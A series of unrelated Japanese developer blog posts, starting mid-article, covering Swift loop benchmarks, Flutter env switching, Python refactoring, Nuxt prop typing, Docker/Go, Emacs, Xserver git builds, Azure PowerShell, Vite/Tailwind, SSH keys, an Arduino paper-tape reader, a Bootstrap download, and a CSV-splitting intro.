```

結果はコンソールログで確認。

## ログ1回目
```swift
for : 0.056269049644470215
for in : 0.04717898368835449
forEach : 0.04207801818847656
enumerated : 0.038896918296813965
```
## ログ2回目
```swift
for : 0.04687905311584473
for in : 0.03984999656677246
forEach : 0.03262805938720703
enumerated : 0.03680300712585449
```
## ログ3回目
```swift
for : 0.07473194599151611
for in : 0.041075944900512695
forEach : 0.04214298725128174
enumerated : 0.040978074073791504
```

## 結果
for以外はそこまで処理速度に違いはないと感じたので、好きなものを使用して大丈夫そうという所感。
1日１企業紹介　株式会社Preferred Networks


株式会社Preferred Networks（PFN）

設立
2014年3月26日

社員数：300人くらい

もともとは全身となるPreferred Infrastructure(PFI)が、2006年に創業されそれがPFNに2014年になったぽい

日本のAIベンチャー企業ではあるがこの会社はいろいろとすさまじいイメージ
AI系の勉強や仕事をしていると嫌でも名前が入ってくる。（E資格を勉強しているとChainerを開発した会社として出てくる）
AI特化の会社であれば日本最強クラスの技術力を持つ会社かもしれない。まぎれもない天才集団
現に300人の社員のうち8割が技術者（AI系）なのですさまじい技術力を持った会社であることがわかる。

ユニコーンであり日本のユニコーン企業の中でも1位の時価総額をたたき出している。

ユニコーン→起業から10年以内の未上場企業で、時価総額10億ドル（約1000億円）を超える企業。2020年11月現在、日本にユニコーン企業は7社しかない。

なのでAIベンチャーというよりはユニコーンという風に覚えよう。（日本最強のベンチャー企業だしね）

ビジネススキームについては多岐にわたりすぎているため説明は省略。
いろいろパッケージだしたり（Chainerとかもその中の一つ）あるいは共同開発して組み込みしたりなどなど。。

その中でも自分が面白そうだなと思ったのが2個

①オミックス解析・医療画像解析・化合物解析

ディープラーニングを応用して、医療画像解析、化合物解析、ゲノム情報を基本としたさまざまな分子について調べるオミックス解析などの研究開発開発を実施

現在では、少量の血液でがんの早期発見ができるシステムを、実用化を目標にしながら研究している段階。2016年にはDeNAとの合弁会社である株式会社PFDeNAを設立し、2018年には三井物産株式会社との合弁会社であるPreferred Medicine, Inc.を設立

②スポーツのデータ解析
ディープラーニング技術を利用して、プロスポーツ選手のプレー解析、選手の姿勢推定アルゴリズムの開発も行っています。姿勢推定によって試合中の選手の向きを解析し、戦術などの分析が可能です。

サッカーに特化した戦術・分析支援アナリティクスツール「PitchBrain」を、博報堂DYグループのSports Technology Lab社と共同開発しています。

恐れ多くてそんな気はないがもしここに転職する場合の必要スキルを調べようとしたが
なんとキャリア採用を募集していなかった。なので新卒採用から抜粋。

--------------------------------------------------------------------------------------------------------------
以下のいずれかの実績・経験を歓迎します。また、業務の中でこれらの技能の習得や経験を行って頂く事になります。
コンピュータサイエンスの知識を活用した課題解決の経験
コンピューターサイエンスのすべての分野への精通を目指し、常に最先端の技術を追いかけ続けていること
ソフトウェア開発経験 (Python, Go, C, C++, Java, 等)
コンピューターアーキテクチャーを理解し、ソフトウェアの実行効率や、計算量を意識したプログラムの作成が出来る
コンピュータサイエンスの幅広い分野における深い知識や理解を持っている
コンピュータ サイエンスまたは関連する技術分野における修士号、博士号、または関連分野における2年以上の実践・実務経験
ソフトウェアの開発経験
アプリケーション開発もしくは運用経験
Web/クライアント/スマホなどの機種問わず(iOS/Androidなど)
ツール/ゲームなどのジャンル問わず
ライブラリの開発経験
Unix/Linuxサーバ運用経験
リードエンジニアとして開発プロジェクトを牽引した経験
OSSへのコントリビューション経験
CI/CDの構築経験
TerraformやAnsibleなどによるインフラ管理経験
サービス運用経験
サーバーやWeb・アプリのサービス運用経験
API連携やRPA、Bot作成による作業フローの自動化経験
5名以上のチームのリーダーシップ経験
--------------------------------------------------------------------------------------------------------------
Flutter: API_KEYを隠匿し環境を切り替えながらVScodeで開発する

# 概要
Flutterでのアプリ開発においてproduction/staging/testなどの環境を切り替えたい。

# Flutter
Web開発において.envファイルにAPI_KEYやWEB_API_HOSTを格納しておいて読み込むenvファイルを状況に応じて変えることで実行環境を切り替えることができる。Flutterでは[flutter_dotenv](https://pub.dev/packages/flutter_dotenv)というものが存在する。

```
# ディレクトリ構造
{document_root}
 |- .vscode
     |- launch.json
 |- .env
 |- env
     |- .env.sample
     |- .env.staging
     |- .env.test
 |- .github/workflows
     |- actions.yaml
 |- lib
     |- main.dart
```

以上のようなディレクトリ構造だとする。

```
.env
API_KEY=abcd1234
```

```
// marn.dart

Future main() async {
  WidgetsFlutterBinding.ensureInitialized();
  MobileAds.instance.initialize();

  // $ flutter run --dart-define=BUILD_ENV=prod で引数指定できる
  const env = String.fromEnvironment("BUILD_ENV", defaultValue: "prod");

  // 環境ごとに読み込むenvファイルを切り替える
  final filename = () { 
    switch (env) {
      case "test": return "../env/.env.test";
      case "staging": return "../env/.env.staging";
      default: return "../.env";
    }
  }();
  await dotenv.load(fileName: filename);

  // # 環境変数を取得 "abcd1234"
  print(dotenv.get('GOOGLE_APP_KEY', fallback: '')); 

  runApp(
    const ProviderScope(
      child: MyApp(),
    ),
  );
}
```

上記のコードで比較的シンプルに環境変数の読み込みを行うことができる。

# VScode
VScode上のデバッグで`--dart-define`を指定するためには.vscode/launch.jsonで起動設定を行う必要がある。

```
# .vscode/launch.json

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "flutter_mobile",
            "program": "lib/main.dart",
            "request": "launch",
            "type": "dart",
            "args": [
               "--dart-define=BUILD_ENV=prod" # 接続した環境を指定
            ]
        }
    ]
}
```

上記の設定で実行引数を指定するが、それ以外にも起動するプログラムなどの選択も可能である。

# github actions
最後にCI/CDで自動テストもしくは配信を行う場合にはを考える。当然API_KEYのような隠匿すべき情報はgit上で管理することはできない。これらの隠匿したい情報はSecretsに格納するが、それを.envに反映するには

```
 # actions.yaml
 - name: Create dot env file
 - shell: bash
   run: |
     touch .env
     echo "GOOGLE_APP_KEY=${{ secrets.GOOGLE_APP_KEY }}" >> .env
     echo "AD_UNIT_ID=${{ secrets.AD_UNIT_ID }}" >> .env
```

上記のようにSecretsからから取り出した情報を.envに書き込むことでgithub actions上でのワークフローを実行することができる。
サンプルプログラムの使い勝手を向上させる。

オープンソースで実装されているアルゴリズムを、ライセンスを確かめたうえで、自分なりに使いこなしてみよう。
想定する読者：　中級レベル
 ふだんから、最新版のPythonの機能を活用しきっている人にとっては、何をいまさらという内容しか書いていません。

前提：
 Python3


## 自分なりの改変の常套手段
### 不必要なimport をなくす。
- 高機能な開発環境(例: pycharm)の場合だと、不必要なimportがあると表示で区別してくれる。
- 不必要なimportは、そのプログラムの動作環境を無駄に狭めてしまう。
- 使っていないライブラリのために、動作環境を狭めてしまうことはやめよう。
- 参考: 言語によっては不必要なimportがあるとビルドに失敗する言語もある。

### `from モジュール import *`をなくす 
- モジュールからすべてをimportするのは、変数・関数などの由来を不明にしてしまうので止める。
- from モジュール import 識別子1, 識別子2と書き換えていく。
- `from モジュール import *`をなくしたことで、参照できなくなった識別子を見つけて、それを明示的にimport していく。
- そうすると、`from モジュール import *`をなくすことができる。

### コマンドラインの引数の処理には `argparse`　を使う。
- ハードコーディングされている入力も[`argparse`](https://docs.python.org/ja/3/library/argparse.html)で処理するようにする。
- 従来の`sys.argv` を使ったif文での条件分岐を置き換える。
- 同様に[`getopt`](https://docs.python.org/ja/3/library/getopt.html)よりも、`argparse` を使う。
- defaultを活用する。

#### あるいはコマンドラインの引数の処理に`absl`を使う
https://abseil.io/docs/python/guides/flags
このライブラリもコマンドラインの引数を行なうライブラリである。
argpareseでヘルプを表示させたときだと、デフォルト値の表示がされないが、
abslでのヘルプの場合だと、デフォルト値の表示がされるという特徴がある。

### 適度にモジュール化する。
- その機能を他のプログラムから再利用しやすくするために、適度にモジュール化する。
- その機能を使うために見えなきゃいけない変数と、使うだけの分には知らなくてよい変数とに分離する。
- 関数やメソッドを抽出しよう。

### type hintを利用しよう
https://docs.python.org/ja/3/library/typing.html

```
def read_image(p):
    return somefunc(p)
```
よりは

```
def read_image(p: Path) -> np.ndarray:
    return somefunc(p)
```
と書くと、入力と出力のデータの型が明確になるので、人にとっても理解しやすいものになる。


### 非公開の関数、変数は_で始める。 
その機能を使う上で、import する必要のない関数、変数などは_(アンダースコア)で始まる名前にする。
- そうすることで、再利用する際に間違った使い方をすることを予防できる。

###　初期化・実行・終了処理をもつような機能の一群はclassを用いた実装に変える。
- `dataclass` を用いた実装を選ぶ
- 初期化プロセスには`__post_init__`を活用する。
- 参考にするよい実装をまねて、メソッドを設計する。
- 目的が同じライブラリなら、同じインタフェースになるようにメソッドを設計しよう。
- 例：scikit-learnの機械学習のライブラリは、さまざまなアルゴリズムに対して同一のインターフェースでfit()とpredict()をできるようにしている。そのことがさまざまなアルゴリズムを簡単に切り替えて、アルゴリズムを利用可能にしている。

### モジュール化・classを用いた実装にしたあとの状況
- 機能を適度にモジュール化したあとは、その機能を利用するのに、import もしくは `from モジュール import 識別子`する対象は とても少なくなっているはずだ。

- また、その機能を使う側のコードはとても簡潔になっているはずだ。

- それでいて、細かい設定を必要とする場合には指定できる。
【Nuxt】propsの型の曖昧さとその(応急的な)対処法

# 初めに
普段から、Nuxt × TypeScriptでクライアントの開発をすることが多いのですが、
よく、propsでの型の曖昧さで苦しめられます

その際に、私が行う(応急的な)対処法について書いていきます

# propsの型検査について
## 参照
[プロパティを用いた子コンポーネントへのデータの受け渡し](https://v3.ja.vuejs.org/guide/component-basics.html#%E3%83%95%E3%82%9A%E3%83%AD%E3%83%8F%E3%82%9A%E3%83%86%E3%82%A3%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E5%AD%90%E3%82%B3%E3%83%B3%E3%83%9B%E3%82%9A%E3%83%BC%E3%83%8D%E3%83%B3%E3%83%88%E3%81%B8%E3%81%AE%E3%83%86%E3%82%99%E3%83%BC%E3%82%BF%E3%81%AE%E5%8F%97%E3%81%91%E6%B8%A1%E3%81%97)
 
[型検査](https://v3.ja.vuejs.org/guide/component-props.html#%E5%9E%8B%E3%81%AE%E6%A4%9C%E6%9F%BB)

## 型検査について
 propsはいくつかの、組込みで型指定をすることができます

 ``` ts
  props: {
    hoge: String
  }
 ```

また、ユーザー定義については`PropType`で型推論することができます

``` ts
props: {
   hoge: {
     type: Object as Vue.PropType<THoge>
   }
}
```
上記の設定により、propsを受け取るComponent内では型を持ったpropsを使用することができます
![スクリーンショット 2022-04-29 143233.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/681992/65032ad4-37bb-974c-aa39-501d96b1c8e2.png)


また、親Componentから値を渡す際に、異なる型の値を渡すとエラーが確認できます

![スクリーンショット 2022-04-29 143907.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/681992/cb253b5e-92a6-f4ae-00c6-212f52104339.png)


# propsの型の曖昧さについて
上記のように型を定義することができればpropsを利用するComponent内では  
TypeScriptの型のアシストを受けて実装するとができます  

しかし、propsに対する型定義は厳密とは言えず  
割となんでもやることができます、  
なぜなら、親Componentでは子Componentでの定義を知らないので
v-bindまたは、v-modelにはどのような型のプロパティでも渡すことができてしまいます

例えば、下記の例では子Componentでは`THoge`というObjectが渡されることを期待していますが、  
親Componentではstring型を渡しています
この場合、Consoleにエラーが出力するものの、コンパイルエラーではないので騙せてしまいます

### 子Component
``` ts
import Vue from 'vue'

type THoge = {
  hoge: string,
  hogehoge: number
}

export default Vue.extend({
  name: 'NuxtTutorial',
  props: {
    hoge: Object as Vue.PropType<THoge>
  },
  methods: {
    getHoge(): THoge {
      return this.hoge
    }
  }
})
</script>
```

### 親Component
``` ts
export default Vue.extend({
  name: 'IndexPage',
  components: {
    Tutorial
  },
  data(){
    return {
      hoge: 
        hoge: "hoge"
    }
  }
})

```
Vue DevToolでporpsの中身を確認してもstringで渡せていることが確認できます

![スクリーンショット 2022-04-29 144654.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/681992/a8ea54a2-833c-76bc-4885-439379af2e0f.png)


# (応急的な)対処法
上記の型を騙せることを回避するために、普段は子Componentで定義したtypeを親で読み込んで定義することで
propsとして意図しない型を渡すことを防いでいます

### 子Component
``` ts
import Vue from 'vue'

// typeもexport
export type THoge = {
  hoge: string,
  hogehoge: number
}

export default Vue.extend({
  name: 'NuxtTutorial',
  props: {
    hoge: Object as Vue.PropType<THoge>
  },
  methods: {
    getHoge(): THoge {
      return this.hoge
    }
  }
})
</script>
```

### 親Component
``` ts

import Vue from 'vue'

// Vueとともにtypeもimport
import Tutorial, { THoge } from "~/components/Tutorial.vue"

type DataType = {
  hoge: THoge
}

export default Vue.extend({
  name: 'IndexPage',
  components: {
    Tutorial
  },
  data(): DataType {
    return {
      hoge: {
        hoge: "hoge",
        hogehoge: 1
      }
    }
  }
})

```

このように、子と親で同一の型定義をすることで意図しない型を渡すことを防いでいますが  
この方法も確実とはいえず、このあたりが解消されないと、
VueでTypeScriptを使用するのは厳しいなという印象です
【Go/ Docker】開発環境用パッケージをgo installしようとしてつまづいた時の対処法

# 起こった事象

ある日、DockerでGoの開発を行っていた時に、Live Reload用に[「gin」](https://github.com/codegangsta/gin)というパッケージをインストールして使っていました。

別の日に別のPCから開発をする必要があったため、事前にDockerfileを以下のように書き換えておきました。

```Dockerfile
FROM golang:1.18.1-alpine3.15

WORKDIR /go/app/

RUN apk update \
&&  export GO111MODULE=suto

COPY ./app/ .

RUN go mod tidy \
&&  go install github.com/codegangsta/gin
# go mod tidyを実行するとコードで使用されているパッケージのみがgo.mod/go.sumに反映されるため、
# go mod tidy実行後にginのインストールを行っている

EXPOSE 8080

CMD ["gin", "--immediate", "run", "main.go", "0.0.0.0:8080"]

```

そして後日、別PCからdocker runしたところ下記のようなエラーが...

```terminal
ERROR: for app  Cannot start service app:
OCI runtime create failed:
container_linux.go:380:
starting container process caused: exec: "gin": executable file not found in $PATH: unknown
```

「ginというコマンドが見つからない」と言われていますが、自分の中ではDockerfileの中で確かにインストールしていたはず...

# 解決方法

「go install」を使う場合は、__バージョンの指定も必須__ だったようです。

そのためDockerfileを下記のように修正しなおしました。

```Dockerfile
RUN go mod tidy \
&&  go install github.com/codegangsta/gin
```

↓

```Dockerfile
RUN go mod tidy \
&&  go install github.com/codegangsta/gin@latest
```

特別バージョンの指定をしたいわけではない場合には、`@latest`を付ければ問題ないようです。

上記にてとりあえずのところエラーは解決しました。:clap_tone1:
よく使うEmacs初期設定


##### はじめに
よく使うEmacs初期設定をまとめました。Emacsの起動時は、
1. ~/.emacs.el
2. ~/.emacs
3. ~/.emacs.d/init.el
4. ~/.emacs.d/init

の順に優先的に**どれか一つだけ**読み込まれます。今回は~/.emacsに書き込みます。

「Ctrl-h」をBackSpaceに変換
---
~~~
;; C-h
(global-set-key "\C-h" 'delete-backward-char)
;; helpを退避
(global-set-key "\C-c\C-h" 'help-command)
~~~

デフォルトの起動時のメッセージを非表示
---
~~~
;; デフォルトの起動時のメッセージを表示しない
(setq inhibit-startup-message t)
~~~

括弧を自動補完
---
~~~
;; 括弧を自動補完
(electric-pair-mode 1)
;; 括弧のペアを光らせる
(show-paren-mode 1)
~~~

メニューバーの非表示
---
~~~
;; メニューバーの非表示
(menu-bar-mode -1)
;; ツールバーの非表示
(tool-bar-mode -1)
~~~

あとはemacsを再起動するか、以下のように.emacsをリロードすれば設定が有効になります。
~~~
M-x load-file (RETURN) ~/.emacs
~~~
Xserverでgitを使う

# Xserverでgitを使う

2022/4時点

## 前提

- Xserverにssh接続している

## 作業前に

Xserverにほぼ初めてsshしたけどlsコマンドすら使えなかった。
`-bash: ls: コマンドが見つかりません`

```
$ /usr/bin/ls
```
フルパスで実行すると正常に動作した。PATH設定がおかしいとのことでbash_profileを以下のように変更します。変更箇所はコメントアウト部分です。
#PATH=$PATH:$HOME/bin
PATH=$HOME/bin:$PARH


```
$ /usr/bin/vi ~/.bash_profile
```

```.変更前
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
fi

#PATH=$PATH:$HOME/bin
PATH=$HOME/bin:$PARH

export PATH
```

```.変更後
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
fi

PATH=$PATH:$HOME/bin
#PATH=$HOME/bin:$PARH

export PATH
```
ログアウトして再度sshし直します。

```
$ exit
```

## gettext インストール

http://ftp.gnu.org/gnu/gettext/

最新のバージョンをwgetする。2022/4時点で最新は0.21でした

```
$ cd
$ wget http://ftp.gnu.org/pub/gnu/gettext/gettext-0.21.tar.gz
$ tar zxvf gettext-0.21.tar.gz
$ cd gettext-0.21
$ ./configure --prefix=/home/（サーバーID）/opt
$ make
$ make install

↓gettextが入ったか確認
$ ~/opt/bin/gettext --version
```

- パスを通す
```
$ vi .bashrc
↓下記を追記して保存(:wq)
export PATH=$HOME/opt/bin:$PATH

$ source ~/.bashrc
```

## curlインストール

```
$ cd
$ wget http://curl.haxx.se/download/curl-7.74.0.tar.gz
$ tar zxvf curl-7.74.0.tar.gz
$ cd curl-7.74.0
$ ./configure --prefix=/home/（サーバーID）/opt
$ make
$ make install
```

## gitインストール

```
$ cd 
$ wget https://github.com/git/git/archive/master.zip
$ unzip master.zip
$ cd git-master
$ autoconf
$ ./configure --prefix=/home/（サーバーID）/opt --with-curl=/home/（サーバーID）/opt --with-expat=/home/（サーバーID）/opt
$ make -i all
$ make -i install
$ git --version
```
## git設定する
```
$ git config --global user.email "mail@example.com"
$ git config --global user.name "ユーザー名"
```

### 参考

参考にさせていただきました。ありがとうございました。

http://vdeep.net/xserver-git

## 終わり

AWSとかならyumで速攻git使えるようになるけどxserver（レンサバ）は大変
Powershell で Azure ActiveDirectory を管理する時はバージョンに気を付けましょう

Azure ActiveDirectory のユーザ管理を Powershell を使って行う場合には、Powershell のバージョン、az モジュールのバージョンアップをちゃんと確認してからにしましょう。

バージョンが低いまだだと、使えると思った機能が使えない、オプション名が変わっていてエラーがでるなどのハマりどころがあります。
（ハマったのでこんな記事を書いているんですが）

## Powershell のバージョン

Powershell は 7.x 系をインストールしましょう。5.1 系はスキップできるならスキップします。

7.x 系であれば、Windows 以外にも Mac、Linux などで使用することができます。どんな環境でも、同一の操作で Azure AD の管理作業ができるメリットは意外に大きいです。

現時点での最新は、7.2.2 です。サポートしている環境については、次のリンク先から確認できます。

https://docs.microsoft.com/ja-jp/powershell/scripting/whats-new/what-s-new-in-powershell-70?view=powershell-7.2

### バージョン確認方法

```powershell:Powershell のバージョンチェック方法
PS> $PSVersionTable
Name                           Value
----                           -----
PSVersion                      7.2.0
PSEdition                      Core
GitCommitId                    7.2.0
OS                             Microsoft Windows 10.0.19043
Platform                       Win32NT
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1
WSManStackVersion              3.0
```

### インストール方法

各OS用にインストールファイルが用意されています。

Windows だと、Microsoft Update からのインストールも可能ですので、組織で管理されている場合やインストール対象 PC が多い場合は Microsoft Update を使うのも一つだと思います。

https://docs.microsoft.com/ja-jp/powershell/scripting/install/installing-powershell?view=powershell-7.2

## az モジュールのバージョン

az モジュールですが、7.4 から大幅に強化されました。それ以前の 6.6 だと MSOnline モジュールを併用しないと設定できない項目も多く不便だったのですが、7.4 からはオプションが強化され、az モジュールだけで細かな項目も設定ができるようになりました。
さらに現在は 7.5 が公開されています。特別な理由がなければ、7.5 をインストールしましょう。

### バージョン確認方法

```powershell:az モジュールのバージョンチェック方法
PS> Get-InstallModle -Name az
Version              Name          Repository           Description
-------              ----          ----------           -----------
7.5.0                Az            PSGallery            Microsoft Azure PowerShell - Cmdlets to …
```

### インストール方法

インストール先のコンピュータの管理権限があれば、次のコマンドでインストールができます。

```powershell:azモジュールのインストール
PS> Install-Module -Name Az -Repository PSGallery -Force
```

もし管理権限がなければ、Scope オプションを付けて自分だけ利用できるようにする方法もあります。

```powershell:azモジュールのインストール（自分のみ）
PS> Install-Module -Name Az -Scope CurrentUser -Repository PSGallery -Force
```

## az コマンドのリファレンス

az コマンドも、Azure の機能アップに伴って更新されていますので、リファレンスで機能チェックしておきましょう。

https://docs.microsoft.com/en-us/powershell/module/az.resources/?view=azps-7.5.0#active-directory
Vite + React + TypeScript + TailwindCSSの開発環境構築

標記の開発環境構築を試したので作業ログを残す。

## 確認環境
- MacBook Pro (16-inch 2019)
- macOS Monterey 12.3.1
- Node.js v14.17.1

## 手順

```sh
# React + TypeScriptの環境構築
npm create vite@latest my-app -- --template react-ts
cd my-app
npm i
npm run dev # 動作確認。この時点でブラウザプレビューができる

# TailwindCSSを入れる
npm i -D tailwindcss@latest postcss@latest autoprefixer@latest
npx tailwindcss init -p
```

tailwind.config.jsを以下のように書き換える

```ts
module.exports = {
  content: [
    "./index.html",
    "./src/**/*.{js,ts,jsx,tsx}",
  ],
  theme: {
    extend: {},
  },
  plugins: [],
}

```

src/index.cssの先頭に以下のように書き込む

```css
@import 'tailwindcss/base';
@import 'tailwindcss/components';
@import 'tailwindcss/utilities';
```

これでいったん完了となる。以下のコマンドによりブラウザで実行できる。

```sh
npm run dev
```

## さらにCSSを除去し、極力TailwindCSSのみの記述にする

`src/App.tsx`を以下のコードで置き換える。

```tsx
function App() {
  return (<div className="flex flex-col items-center justify-center min-h-screen bg-black text-white text-3xl">
    hello world!
  </div>
  )
}

export default App
```

また、`src/App.css`を削除する。これで完了となる。

## 参考
Install Tailwind CSS with Vue 3 and Vite

https://tailwindcss.com/docs/guides/vite

viteでreact(or preact)+typescript(+tailwindcss)な開発環境を構築 - DevelopersIO

https://dev.classmethod.jp/articles/vite-react-preact-typescript-tailwindcss/
Linux Ping-t勉強の記録2  Linuxのインストール、起動、接続、切断と停止

# Ping-tで出てきた覚えるものを記録(辞書)

## ユーザ認証（公開鍵暗号方式）

ユーザごとに公開、暗号鍵のペアを作る（ssh_keygenを入力すると~/.ssh/id_rsaと~/.ssh/id_rsa.pubが作成される）

公開鍵「~/.ssh/id_rsa.pub」をSSHサーバにコピーする
scp ~/.ssh/id_rsa.pub user1@server:~/.ssh/
user1@serverのパスワードを入力

公開鍵をSSHサーバーの「~/.ssh/authorized_keys」に登録
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

## ホスト認証
接続したときに、SSHサーバから公開鍵を受け取る。
ssh user1@serverでログインすると初回にSSHサーバの公開鍵を登録するか確認されるためyesと入力する
受け取った鍵とクライアントの「~/.ssh/known_hosts」にあるSSHサーバの公開鍵を比べ、一致すればログインする
##### ~/.ssh/known_hostsには公開鍵だけでなくホスト名やIPアドレスが格納されている

serverにログイン時にログアウトする方法はexit logout Ctrl+D

## OpenSSHに関するファイル

#### 設定ファイル
SSHクライアント
/etc/ssh/ssh_config
SSHサーバ
/etc/ssh/sshd_config
サーバには「d」がつく
#### 秘密鍵
SSHクライアント
~/.ssh/id_rsa
SSHサーバ
/etc/ssh/ssh_host_rsa_ke
#### 公開鍵
SSHクライアント
~/.ssh/id_rsa.pub
SSHサーバ
/etc/ssh/ssh_host_rsa_key.pub
#### 認証鍵リスト
SSHクライアント
~/.ssh/known_hosts
SSHサーバ
~/.ssh/authorized_keys

## BIOS(Basic I/O System)周辺機器を制御する
設定できるもの
日付と時刻
電源管理
起動デバイスの優先順位
デバイスの有効/無効化
#### UEFI(Unified Extansible Firmware Interface)BIOSよりも高性能

## まとめ？
##### クライアントに関わるものはsshの前に「.」がつく？
##### 認証鍵リストではクライアントの公開鍵がSSHサーバに保存されるから「.」がついている？

##### telnetとSSHは両方遠隔操作用のプロトコルだが、SSHは暗号化がついている
##### FHS(Filesystem Hierarchy Standard:ファイルシステム階層標準)Linuxのディレクトリの標準を定めた規格
##### Linuxインストール時にメモリ容量の割り当ては設定できない
NC紙テープを読み込むガジェットをArduinoで作成した



## きっかけ
こんなツイートがあった。

https://twitter.com/hortense667/status/1515344373596098561

こちらが製作ページ
http://www.e-basteln.de/computing/papertape/building/
大変面白そうだし、この令和に穿孔紙テープを持って『これは！』「博士！！」とか科学者ゴッコが出来るなんて最高じゃないか！ということで製作してみた。
![tapeReaderPCB.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/103939/db39dbaf-023e-dc06-fa40-d16fef2595ed.jpeg)
![mask.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/103939/1a58d46b-656a-b263-ae04-a3cd9738ccef.jpeg)
![reader.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/103939/c203298c-c19e-d3e5-651f-b8320bcd9d07.jpeg)


データはこちら(ソース／基板データ／スペーサdxf）
https://github.com/NaohiroIIDA/tapeTest1

## これはなに？
このデバイスは過去のコンピュータが使っていた記憶媒体、穿孔テープを現在のPCで読み込むことができます。
## どうやって動くの？

内部にはLEDとセンサーであるフォトTrが９個並べられています。それぞれ紙テープに開けられた穴(8bit + タイミング）を読み取ることができます。

## どんな機能があるの？
テストファームには以下の機能を用意しました。それぞれジャンパで切り替えます。

### ノーマルモード(ジャンパなし）
読み取ったデータをそのままシリアルに出力します。
```terminal
Hello_World! 123456789 nekotorobot.com
```

### モニタモード(ジャンパ１セット）
読み取ったデータをビット、１６進、アスキーキャラで表示します。
```terminal
01001000        48      72      H
01100101        65      101     e
01101100        6C      108     l
01101100        6C      108     l
01101111        6F      111     o
01011111        5F      95      _
01010111        57      87      W
01101111        6F      111     o
01110010        72      114     r
01101100        6C      108     l
01100100        64      100     d
00100001        21      33      !
```


### バイナリモード(ジャンパ２セット）
読み取ったデータをバイナリ数値として出力します。
```terminal
64
21
20
31
32
33
34
35
```


### MIDI　モード(ジャンパ3セット）
読み取ったデータをMIDIメッセージ（ノートON・OFF)で出力します。
https://twitter.com/dannymodules/status/1519743244627705856

## Serial1　Tx出力
TTLレベルで読み取ったデータを出力しています。外部と繋ぐ場合に使用できます。

# ptap2dxfを使った穿孔テープの作成
https://github.com/1944GPW/ptap2dxf
このソフトを使うと、データからDXFファイルを作成することが出来ます。このファイルをレーザーカッターやカットシートプリンタ経由で出力すると、穿孔テープを再現することが出来ます。（本当は穿孔マシンが欲しい）

![ptap2dxf.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/103939/c45d046f-0294-2169-eca5-fbd654fe1a86.png)
リモートサーバーにソースコードごとBootstrap4をインストールする

# 環境
**2022/04/28**
・Linux CentOS7
# ダウンロードするもの
・Bootstrap4.3.1
# ダウンロード方法
### Bootstrap4のダウンロード
　[Bootstrap4のダウンロード先](https://getbootstrap.jp/docs/4.3/getting-started/download/)からダウンロードしてきます。
　リモートサーバーにダウンロードすることを想定しているので、wgetのコマンドを使用してリモートサーバーに直接ダウンロードしましょう。

https://getbootstrap.jp/docs/4.3/getting-started/download/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2647158/aaf150d7-f1f0-81ca-7c9c-6ec671bb65bd.png)



　私の時はこのスクショの画面が最初に出てきました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2647158/247539e4-6394-e6dc-fd4f-58541dc78fe1.png)



　**ソースファイル**というセクションの**ソースをダウンロード**のボタンからURLをコピーしてきます。**右クリック**から**リンクのアドレスをコピー**です。
　私のバージョンでは以下のURLが取得できました。

```
https://github.com/twbs/bootstrap/archive/v4.3.1.zip
```

　このURLをLinuxのターミナルにコピーしwgetします。

```
$ wget https://github.com/twbs/bootstrap/archive/v4.3.1.zip
```

　ちゃんとインストールされたか一応確認しましょう。

```
$ dir
v4.3.1.zip
```

　zipファイルなのでunzipで解凍しましょう。
　LinuxではOSの環境によってzip関連のコマンドをインストールされていない場合があります。その場合は[unzipのインストール方法](https://qiita.com/king_dog_ease/items/0c6c23f1a034594b1d57)を参考にインストールしてください。

https://qiita.com/king_dog_ease/items/0c6c23f1a034594b1d57

```
$ unzip v4.3.1.zip
```

　解凍するファイル名はインストールしたバージョンに合わせて変更してください。
　解凍したファイルがあるかどうかの確認。

```
$ dir
v4.3.1.zip
bootstrap-4.3.1
```

```
$ cd bootstrap-4.3.1
$ dir 
CNAME               Gemfile       LICENSE    _config.yml  composer.json  js     package-lock.json  package.json  site
CODE_OF_CONDUCT.md  Gemfile.lock  README.md  build        dist           nuget  package.js         scss
```

　入れたかったBootstrap4のファイルはこの通りです。

# Example
　Bootstrapのソースはこれでダウンロードし終えましたが、Bootstrapがこれで使えるのかといわれるとなんだか不安な気もします。
　そのため、例を使って確認してみましょう。
　HTMLの表示の仕方については指定しないので整っている環境で試してみてください。

　使用したいサンプルまでのファイル構成。

```
bootstrap-4.3.1
└─site
   └─docs
      └─4.3
         ├─examples
         │ └─album
         │    ├─album.css
         │    └─index.html
         └─assets
            ├─js
            └─css
```

　このindex.htmlを使用します。

　スクショ通りになっていれば成功です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2647158/e4a39d3f-abf7-abb6-37df-15817ab7deef.png)

# 終わりに
　Bootstrapを使用しようとし始めた段階なので間違いもあるかと思います。その場合はコメントで教えてもらえればうれしいです。
　Bootstrapのコンパイルされたファイルをダウンロードする方法もあったのですが、ソースコードすべてダウンロードしたほうが簡単なんじゃないだろうかと試してみた次第です。が、node.jsのexpress-generatorを使用している関係上、ディレクトリ構成を変更しまくらなくちゃいけなかったので大変でした。
　コンパイルされたBootstrapをそれぞれインストールするのが楽だったかもしれません。
　以上。
CSVファイルを特定の列をキーにファイル分割

# はじめに
CSVファイルを特定の日付の列を使って、別々のファイルにする処理を作ってみました。
作った背景は、CSVファイルをBigQueryへ取り込もうと思ったのですが、BigQueryではシャーディングを使いたくて、そうするとCSV自体が分割してた方がよく、前処理としてCSVを分割したくなったためです。

なお、入力ファイル１行ごとに出力ファイルをオープンするという駄作。誰かのためになればと思い、恥を忍んで公開ですｗ
